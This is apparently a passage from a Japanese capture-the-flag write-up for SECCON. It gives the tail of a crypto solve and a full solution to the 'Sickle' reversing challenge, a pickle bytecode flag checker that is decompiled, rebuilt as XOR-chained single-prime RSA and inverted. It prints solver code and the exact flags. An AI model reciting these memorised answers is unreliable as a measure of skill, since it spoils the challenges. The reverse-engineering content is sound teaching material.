m = ((b*x+c*y+d*z) * pow(X,-1,n)) % n
print(long_to_bytes(m))
flag
SECCON{pr0m153_m3!d0_n07_3ncryp7_p_0r_q_3v3n_w17h_r54_4.0}
Sickle (reversing)
問題
Pickle infected with COVID-19
import pickle, io
payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
res = pickle.load(f)
if isinstance(res, bool) and res:
print("Congratulations!!")
else:
print("Nope")
解法
Fickling というツールを見つけたのでデコンパイルしてみます。
エラーが出ましたがとりあえずデコンパイルできるようです。
_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
result0 = _var13
実行すると AttributeError: 'NoneType' object has no attribute 'seek'
というエラーが発生しました。
とりあえず何が起こっているのかを知るために読みやすくします。
inp = input('FLAG> ').encode()
res = globals().get("f").seek((len(inp) == 64) + 261)
とりあえず f
というグローバル変数が無いせいでエラーが出ていそうです。
次のように修正したらうまく動きました。
import pickle, io
payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
inp = input('FLAG> ').encode()
res = f.seek((len(inp) == 64) + 261)
print(res)
入力の長さが 64
ならば payload
の 262
文字目以降 (0-idx) を実行していそうです。
(そうでなければ 261
文字目以降)
しかし、262文字目以降をデコンパイルしようとしてもうまくいきません。
ここで、「スタックの状態を保持したまま実行されるのでは?」と思いつきます。
pickletools.dis(payload)
の結果も考えると、260
文字目までが実行されてから 262
文字目以降を実行していそうなので、261文字目を消したものを Fickling にかけます。
_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
_var14 = getattr(_var2, '__getitem__')
_var15 = _var14(0)
_var16 = getattr(_var15, '__le__')
_var17 = _var16(127)
_var18 = _var7(_var17, 330)
_var19 = _var6(_var18)
result0 = _var19
ちょっと増えましたね。
わかりやすくするとこうなります。
import pickle, io
payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
inp = input('FLAG> ').encode()
res = f.seek((inp[0] <= 127) + 330)
print(res)
また同じようにやればよさそうです。
_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
_var14 = getattr(_var2, '__getitem__')
_var15 = _var14(0)
_var16 = getattr(_var15, '__le__')
_var17 = _var16(127)
_var18 = _var7(_var17, 330)
_var19 = _var6(_var18)
_var20 = _var7(0, 1)
_var21 = _var9(_var20, 64)
_var22 = _var8(_var21, 85)
_var23 = _var7(_var22, 290)
_var24 = _var6(_var23)
_var25 = getattr([], 'append')
_var26 = getattr([], '__getitem__')
_var27 = getattr(int, 'from_bytes')
_var28 = _var8(0, 8)
_var29 = _var7(0, 1)
_var30 = _var8(_var29, 8)
_var31 = slice(_var28, _var30)
_var32 = _var14(_var31)
_var33 = _var27(_var32, 'little')
_var34 = _var25(_var33)
_var35 = _var7(0, 1)
_var36 = _var9(_var35, 8)
_var37 = _var8(_var36, 119)
_var38 = _var7(_var37, 457)
_var39 = _var6(_var38)
_var40 = getattr([], 'append')
_var41 = getattr([], '__getitem__')
_var42 = getattr(int, '__xor__')
_var43 = _var26(0)
_var44 = _var42(_var43, 1244422970072434993)
_var45 = pow(_var44, 65537, 18446744073709551557)
_var46 = _var40(_var45)
_var47 = _var41(0)
_var48 = _var7(0, 1)
_var49 = _var9(_var48, 8)
_var50 = _var8(_var49, 131)
_var51 = _var7(_var50, 679)
_var52 = _var6(_var51)
_var53 = getattr([], '__eq__')
_var54 = _var53([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905])
result0 = _var54
このように(若干のエスパーをしながら)作業を続けていくと
inp = input('FLAG> ').encode()
X = []
for i in range(8):
X.append(int.from_bytes(inp[i*8:(i+1)*8], 'little'))
Y = []
p = 1244422970072434993
for i in range(8):
Y.append(pow(X[i] ^ p, 65537, 18446744073709551557))
p = Y[i]
res = (Y == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905])
print(res)
となり、あとは 1素数RSA + xor なので簡単に元に戻すことができます。
flag = b""
Y = [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905]
d = pow(65537, -1, 18446744073709551557-1)
p = 1244422970072434993
for i in range(8):
flag += (p ^ pow(Y[i], d, 18446744073709551557)).to_bytes(8, 'little')
p = Y[i]
print(flag)
flag
SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
おわりに
次回は国内 top 10 目指したいです。
強い方、ぜひ拾っていただけると嬉しいです…